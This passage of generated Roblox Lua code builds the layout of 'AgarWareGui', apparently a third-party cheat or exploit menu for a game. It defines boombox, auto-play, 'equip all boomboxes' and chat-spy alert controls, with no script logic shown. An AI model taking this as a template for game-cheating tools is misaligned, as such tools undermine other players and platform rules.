G2L["273"]["Name"] = [[BoomboxScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTooltip
G2L["274"] = Instance.new("LocalScript", G2L["272"]);
G2L["274"]["Name"] = [[BoomboxTooltip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.UIListLayout
G2L["275"] = Instance.new("UIListLayout", G2L["272"]);
G2L["275"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxAccentColor
G2L["276"] = Instance.new("Frame", G2L["272"]);
G2L["276"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["276"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["276"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["276"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["276"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["276"]["Name"] = [[BoomboxAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTitle
G2L["277"] = Instance.new("TextLabel", G2L["272"]);
G2L["277"]["TextWrapped"] = true;
G2L["277"]["BorderSizePixel"] = 0;
G2L["277"]["TextSize"] = 14;
G2L["277"]["TextScaled"] = true;
G2L["277"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["277"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["277"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["277"]["BackgroundTransparency"] = 0.95;
G2L["277"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["277"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["277"]["Text"] = [[Boombox]];
G2L["277"]["LayoutOrder"] = 1;
G2L["277"]["Name"] = [[BoomboxTitle]];
G2L["277"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTitle.BoomboxMinimize
G2L["278"] = Instance.new("TextButton", G2L["277"]);
G2L["278"]["BorderSizePixel"] = 0;
G2L["278"]["TextSize"] = 14;
G2L["278"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["278"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["278"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["278"]["BackgroundTransparency"] = 1;
G2L["278"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["278"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["278"]["Text"] = [[-]];
G2L["278"]["Name"] = [[BoomboxMinimize]];
G2L["278"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow
G2L["279"] = Instance.new("Frame", G2L["272"]);
G2L["279"]["BorderSizePixel"] = 0;
G2L["279"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["279"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["279"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["279"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["279"]["Name"] = [[BoomVolRow]];
G2L["279"]["LayoutOrder"] = 2;
G2L["279"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolScript
G2L["27a"] = Instance.new("LocalScript", G2L["279"]);
G2L["27a"]["Name"] = [[BoomVolScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolTickBox
G2L["27b"] = Instance.new("TextButton", G2L["279"]);
G2L["27b"]["TextSize"] = 14;
G2L["27b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["27b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["27b"]["Text"] = [[]];
G2L["27b"]["Name"] = [[BoomVolTickBox]];
G2L["27b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolText
G2L["27c"] = Instance.new("TextLabel", G2L["279"]);
G2L["27c"]["BorderSizePixel"] = 0;
G2L["27c"]["TextSize"] = 14;
G2L["27c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["27c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27c"]["BackgroundTransparency"] = 1;
G2L["27c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["27c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27c"]["Text"] = [[Volume]];
G2L["27c"]["Name"] = [[BoomVolText]];
G2L["27c"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolChanger
G2L["27d"] = Instance.new("TextBox", G2L["279"]);
G2L["27d"]["Name"] = [[BoomVolChanger]];
G2L["27d"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["27d"]["TextWrapped"] = true;
G2L["27d"]["TextSize"] = 14;
G2L["27d"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["27d"]["TextScaled"] = true;
G2L["27d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27d"]["PlaceholderText"] = [[(100)]];
G2L["27d"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["27d"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["27d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["27d"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow
G2L["27e"] = Instance.new("Frame", G2L["272"]);
G2L["27e"]["BorderSizePixel"] = 0;
G2L["27e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["27e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["27e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27e"]["Name"] = [[MuteTacoRow]];
G2L["27e"]["LayoutOrder"] = 2;
G2L["27e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoScript
G2L["27f"] = Instance.new("LocalScript", G2L["27e"]);
G2L["27f"]["Name"] = [[MuteTacoScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoTickBox
G2L["280"] = Instance.new("TextButton", G2L["27e"]);
G2L["280"]["TextSize"] = 14;
G2L["280"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["280"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["280"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["280"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["280"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["280"]["Text"] = [[]];
G2L["280"]["Name"] = [[MuteTacoTickBox]];
G2L["280"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoText
G2L["281"] = Instance.new("TextLabel", G2L["27e"]);
G2L["281"]["BorderSizePixel"] = 0;
G2L["281"]["TextSize"] = 14;
G2L["281"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["281"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["281"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["281"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["281"]["BackgroundTransparency"] = 1;
G2L["281"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["281"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["281"]["Text"] = [[Mute Taco Song]];
G2L["281"]["Name"] = [[MuteTacoText]];
G2L["281"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow
G2L["282"] = Instance.new("Frame", G2L["272"]);
G2L["282"]["BorderSizePixel"] = 0;
G2L["282"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["282"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["282"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["282"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["282"]["Name"] = [[ClickBoomRow]];
G2L["282"]["LayoutOrder"] = 2;
G2L["282"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomScript
G2L["283"] = Instance.new("LocalScript", G2L["282"]);
G2L["283"]["Name"] = [[ClickBoomScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomTickBox
G2L["284"] = Instance.new("TextButton", G2L["282"]);
G2L["284"]["TextSize"] = 14;
G2L["284"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["284"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["284"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["284"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["284"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["284"]["Text"] = [[]];
G2L["284"]["Name"] = [[ClickBoomTickBox]];
G2L["284"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomText
G2L["285"] = Instance.new("TextLabel", G2L["282"]);
G2L["285"]["BorderSizePixel"] = 0;
G2L["285"]["TextSize"] = 14;
G2L["285"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["285"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["285"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["285"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["285"]["BackgroundTransparency"] = 1;
G2L["285"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["285"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["285"]["Text"] = [[Click to Log]];
G2L["285"]["Name"] = [[ClickBoomText]];
G2L["285"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow
G2L["286"] = Instance.new("Frame", G2L["272"]);
G2L["286"]["BorderSizePixel"] = 0;
G2L["286"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["286"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["286"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["286"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["286"]["Name"] = [[AutoPlayRow]];
G2L["286"]["LayoutOrder"] = 3;
G2L["286"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayScript
G2L["287"] = Instance.new("LocalScript", G2L["286"]);
G2L["287"]["Name"] = [[AutoPlayScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayChanger
G2L["288"] = Instance.new("TextBox", G2L["286"]);
G2L["288"]["Name"] = [[AutoPlayChanger]];
G2L["288"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["288"]["TextWrapped"] = true;
G2L["288"]["TextSize"] = 14;
G2L["288"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["288"]["TextScaled"] = true;
G2L["288"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["288"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["288"]["PlaceholderText"] = [[(142376088)]];
G2L["288"]["Size"] = UDim2.new(0, 134, 0, 16);
G2L["288"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
G2L["288"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["288"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayTickBox
G2L["289"] = Instance.new("TextButton", G2L["286"]);
G2L["289"]["TextSize"] = 14;
G2L["289"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["289"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["289"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["289"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["289"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["289"]["Text"] = [[]];
G2L["289"]["Name"] = [[AutoPlayTickBox]];
G2L["289"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow
G2L["28a"] = Instance.new("Frame", G2L["272"]);
G2L["28a"]["BorderSizePixel"] = 0;
G2L["28a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["28a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["28a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28a"]["Name"] = [[DisableBoomboxRow]];
G2L["28a"]["LayoutOrder"] = 2;
G2L["28a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxScript
G2L["28b"] = Instance.new("LocalScript", G2L["28a"]);
G2L["28b"]["Name"] = [[DisableBoomboxScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxTickBox
G2L["28c"] = Instance.new("TextButton", G2L["28a"]);
G2L["28c"]["TextSize"] = 14;
G2L["28c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["28c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["28c"]["Text"] = [[]];
G2L["28c"]["Name"] = [[DisableBoomboxTickBox]];
G2L["28c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxText
G2L["28d"] = Instance.new("TextLabel", G2L["28a"]);
G2L["28d"]["BorderSizePixel"] = 0;
G2L["28d"]["TextSize"] = 14;
G2L["28d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["28d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28d"]["BackgroundTransparency"] = 1;
G2L["28d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["28d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28d"]["Text"] = [[Disable Boombox UI]];
G2L["28d"]["Name"] = [[DisableBoomboxText]];
G2L["28d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow
G2L["28e"] = Instance.new("Frame", G2L["272"]);
G2L["28e"]["BorderSizePixel"] = 0;
G2L["28e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["28e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["28e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28e"]["Name"] = [[EquipBoomboxRow]];
G2L["28e"]["LayoutOrder"] = 12;
G2L["28e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxScript
G2L["28f"] = Instance.new("LocalScript", G2L["28e"]);
G2L["28f"]["Name"] = [[EquipBoomboxScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxButton
G2L["290"] = Instance.new("TextButton", G2L["28e"]);
G2L["290"]["TextSize"] = 14;
G2L["290"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["290"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["290"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["290"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["290"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["290"]["Text"] = [[Equip 1 Boombox (echo)]];
G2L["290"]["Name"] = [[EquipBoomboxButton]];
G2L["290"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow
G2L["291"] = Instance.new("Frame", G2L["272"]);
G2L["291"]["BorderSizePixel"] = 0;
G2L["291"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["291"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["291"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["291"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["291"]["Name"] = [[EquipBoomboxesRow]];
G2L["291"]["LayoutOrder"] = 11;
G2L["291"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesScript
G2L["292"] = Instance.new("LocalScript", G2L["291"]);
G2L["292"]["Name"] = [[EquipBoomboxesScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesButton
G2L["293"] = Instance.new("TextButton", G2L["291"]);
G2L["293"]["TextSize"] = 14;
G2L["293"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["293"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["293"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["293"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["293"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["293"]["Text"] = [[Equip All Boomboxes]];
G2L["293"]["Name"] = [[EquipBoomboxesButton]];
G2L["293"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide
G2L["294"] = Instance.new("Frame", G2L["246"]);
G2L["294"]["BorderSizePixel"] = 0;
G2L["294"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["294"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["294"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["294"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["294"]["Name"] = [[TCOMiscRightSide]];
G2L["294"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.UIListLayout
G2L["295"] = Instance.new("UIListLayout", G2L["294"]);
G2L["295"]["Padding"] = UDim.new(0, 7);
G2L["295"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup
G2L["296"] = Instance.new("Frame", G2L["294"]);
G2L["296"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["296"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["296"]["Size"] = UDim2.new(0, 170, 0, 144);
G2L["296"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["296"]["Name"] = [[AlertGroup]];
G2L["296"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertScript
G2L["297"] = Instance.new("LocalScript", G2L["296"]);
G2L["297"]["Name"] = [[AlertScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.UIListLayout
G2L["298"] = Instance.new("UIListLayout", G2L["296"]);
G2L["298"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertAccentColor
G2L["299"] = Instance.new("Frame", G2L["296"]);
G2L["299"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["299"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["299"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["299"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["299"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["299"]["Name"] = [[AlertAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertTitle
G2L["29a"] = Instance.new("TextLabel", G2L["296"]);
G2L["29a"]["TextWrapped"] = true;
G2L["29a"]["BorderSizePixel"] = 0;
G2L["29a"]["TextSize"] = 14;
G2L["29a"]["TextScaled"] = true;
G2L["29a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29a"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["29a"]["BackgroundTransparency"] = 0.95;
G2L["29a"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["29a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29a"]["Text"] = [[Chat Alerts]];
G2L["29a"]["LayoutOrder"] = 1;
G2L["29a"]["Name"] = [[AlertTitle]];
G2L["29a"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertTitle.AlertMinimize
G2L["29b"] = Instance.new("TextButton", G2L["29a"]);
G2L["29b"]["BorderSizePixel"] = 0;
G2L["29b"]["TextSize"] = 14;
G2L["29b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29b"]["BackgroundTransparency"] = 1;
G2L["29b"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["29b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29b"]["Text"] = [[-]];
G2L["29b"]["Name"] = [[AlertMinimize]];
G2L["29b"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow
G2L["29c"] = Instance.new("Frame", G2L["296"]);
G2L["29c"]["BorderSizePixel"] = 0;
G2L["29c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["29c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["29c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29c"]["Name"] = [[DonateSpyRow]];
G2L["29c"]["LayoutOrder"] = 6;
G2L["29c"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow.DonateSpyTickBox
G2L["29d"] = Instance.new("TextButton", G2L["29c"]);
G2L["29d"]["TextSize"] = 14;
G2L["29d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29d"]["ZIndex"] = 5;
G2L["29d"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["29d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["29d"]["Text"] = [[]];
G2L["29d"]["Name"] = [[DonateSpyTickBox]];
G2L["29d"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow.DonateSpyText
G2L["29e"] = Instance.new("TextLabel", G2L["29c"]);
G2L["29e"]["BorderSizePixel"] = 0;
G2L["29e"]["TextSize"] = 14;
G2L["29e"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["29e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29e"]["BackgroundTransparency"] = 1;
G2L["29e"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["29e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29e"]["Text"] = [[Alert Donations]];
G2L["29e"]["Name"] = [[DonateSpyText]];
G2L["29e"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow
G2L["29f"] = Instance.new("Frame", G2L["296"]);
G2L["29f"]["BorderSizePixel"] = 0;
G2L["29f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["29f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["29f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29f"]["Name"] = [[MutedSpyRow]];
G2L["29f"]["LayoutOrder"] = 6;
G2L["29f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow.MutedSpyTickBox
G2L["2a0"] = Instance.new("TextButton", G2L["29f"]);
G2L["2a0"]["TextSize"] = 14;
